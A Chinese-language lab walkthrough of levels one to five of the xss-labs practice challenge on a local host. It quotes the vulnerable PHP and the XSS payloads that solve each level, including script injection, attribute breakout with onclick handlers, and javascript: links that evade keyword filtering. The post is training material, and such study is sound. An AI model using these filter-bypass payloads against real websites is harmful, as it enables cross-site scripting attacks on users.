XSS挑战赛(1)
以前囫囵吞枣做过一遍,现在从头再来

第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test
而页面上显示了用户test,name可控,查看其源代码为
echo "<h2 align=center>欢迎用户".$str."</h2>";
构造
$str=<script>alert(1)</script>
页面源代码就变成了:
<h2 align=center>欢迎用户<script>alert(1)</script></h2>
故payload为:
<script>alert(1)</script>
这里h2标签里面能够执行js代码,所以我们不进行闭合,有一些HTML标签中不执行JS代码,例如:
<title>, <textarea >,<xmp>
等标签就需要进行相应的闭合,再插入JS代码进行执行。
另外除了alert外,进行弹窗还可以使用confirm或者prompt函数。
输入payload通过第一关

简单检测一下过滤情况
<>script

可以看到输入的payload在两个位置输出,再查看源代码,检查过滤情况

可以看到第一个框中的 < > 被转义了,而第二个框中没有被转义,所以我们从第二个框进行XSS的突破
根据源码构造payload
"><script>alert(1)</script>
通过第二关

还是使用简单payload进行过滤检测
<>script

可以看到这两个框内都进行了XSS特殊字符的转义
查看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
可以看到显示的地方使用 htmlspecialchars 函数进行了特殊字符的转义
<input name=keyword value='".htmlspecialchars($str)."'>
而第三关与第二关除了 input标签里面进行了转义之外,value值包裹符号从双引号变成了单引号,也就是本关的突破点。
关于 htmlspecialchars 函数,有

可以看出来,该函数默认仅编码双引号,而value值包裹符号为单引号,我们可以进行相应闭合,构造payload为
' onclick=alert(1) '
进入第四关

输入检测过滤
<>"'script/
查看源代码转义情况

可以看到第一红框内部进行了转义,而第二红框内部没有转义。
根据input标签显示情况来使用双引号进行闭合。
" onclick=alert(1) "
进入第五关

简单检测过滤
<>script'"/

可以看到同样 input 里面没有进行转义,尝试使用上一关的payload
" onclick=alert(1) "

可见onclick 变成了o_nclick ,中间使用下划线将其分离
查看源代码过滤情况,关键部分为:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
对关键字进行了替换,同时使用strtolower函数进行了字符串小写转换,禁止了大小写绕过
使用href超链接指向javascript代码,执行alert弹窗函数
payload为:
"><a href="javascript:alert(1)">hi</a>

点击弹窗通过
XSS挑战赛(1)的更多相关文章
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- xss挑战赛小记 0x02(prompt(1))
0x0O 上次搜xss挑战赛的时候 还找到了一个看上去难度更高的挑战赛 今天做了一下 学到了很多新东西 这个挑战赛能够在页面成功prompt(1)就算过关了 挑战地址 http://prompt.ml ...
- xss挑战赛小记 0x01(xsstest)
0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址 http://test.xss.tv/ ...
- xss挑战赛小记 0x03(xssgame)
0x00 继续做xss吧 这次是xssgame 地址 http://www.xssgame.com/ 一共八关 学到了很多东西 0x01 啥也没有 <svg/onload="alert ...
- XSS挑战赛(4)
16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...
- XSS挑战赛(3)
查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...
- XSS挑战赛(2)
进入第六关 简单判断过滤情况 <>script"'/ 查看源代码 可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗 "><script>ale ...
- 先知xss挑战赛学习笔记
xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...
- web全套资料 干货满满 各种文章详解
sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...
随机推荐
- git , repo out off memory
解决方法,建立swap # dd if=/dev/zero of=/root/myswapfile bs=1M count=1024 1024+0 records in 1024+0 records ...
- 双汇大数据方案选型:从棘手的InfluxDB+Redis到毫秒级查询的TDengine
双汇发展多个分厂的能源管控大数据系统主要采用两种技术栈:InfluxDB/Redis和Kafka/Redis/HBase/Flink,对于中小型研发团队来讲,无论是系统搭建,还是实施运维都非常棘手.经 ...
- 新手避坑 -- 用 Jenkins +miniprogram-ci 自动构建微信小程序
先看看效果: 要实现这样的效果,需要下面3步: 1.下载 node 依赖包 miniprogram-ci,编写预览和上传功能 2. 登录微信公众平台, 下载项目的privateKey+添加代码上传IP ...
- vue+node+mysql
准备工作 安装node,这是必须的 新版node自带npm,安装Node.js时会一起安装,npm的作用就是对Node.js依赖的包进行管理,也可以理解为用来安装/卸载Node.js需要装的东西.验证 ...
- SQL SERVER 数据库自动备份及定期删除设置步骤
现在任何的软件都离不了一个数据库,数据的利用价值越来越大,为了避免数据宕机造成的数据丢失情况的产生,定期对数据库进行备份是必须要做的工作,下面将介绍SQL Server自带的数据库备份方法,希望可以帮 ...
- 一个Wpf的开发框架
引言 本框架使用Prism做MVVM,优点咱就不说了,主要了容器注入,消息和DI,比自己写省很多事.网上有很多标准的MVVM的使用方法,但是没有形成一个系统级的框架.本框架从登录到具体业务的使用,还有 ...
- 使用Java将XSL和XML文件输出为HTML(XSL学习笔记二)
XSL 指扩展样式表语言(EXtensible Stylesheet Language),前面一篇博客介绍了使用XSL即可直接将XML输出为HTML片段被浏览器解析,但是这样在web应用中浏览器的解析 ...
- [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)
简介 原题复现: 考察知识点:http协议走私.php字符串解析漏洞 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...
- 无论PC还是Mac,都能畅快地使用移动硬盘
如果你拥有一台Mac设备,总会遇到尴尬的那一刻--你在Mac上用得好好的移动硬盘怎么都不能被PC识别到.又或者你朋友在PC上用得好好的移动硬盘,连上你的Mac后,Mac里的文件死活就是拷贝不进移动硬盘 ...
- 手把手教你用思维导图软件iMindMap制作计划表
在日常生活中小编也经常使用思维导图软件iMindMap来创建思维导图以规划工作及学习的安排.尤其是时间安排类型的思维导图,能极大程度的节约我们的时间,接下来就由小编以自己假期的社会实践向大家分享一下怎 ...
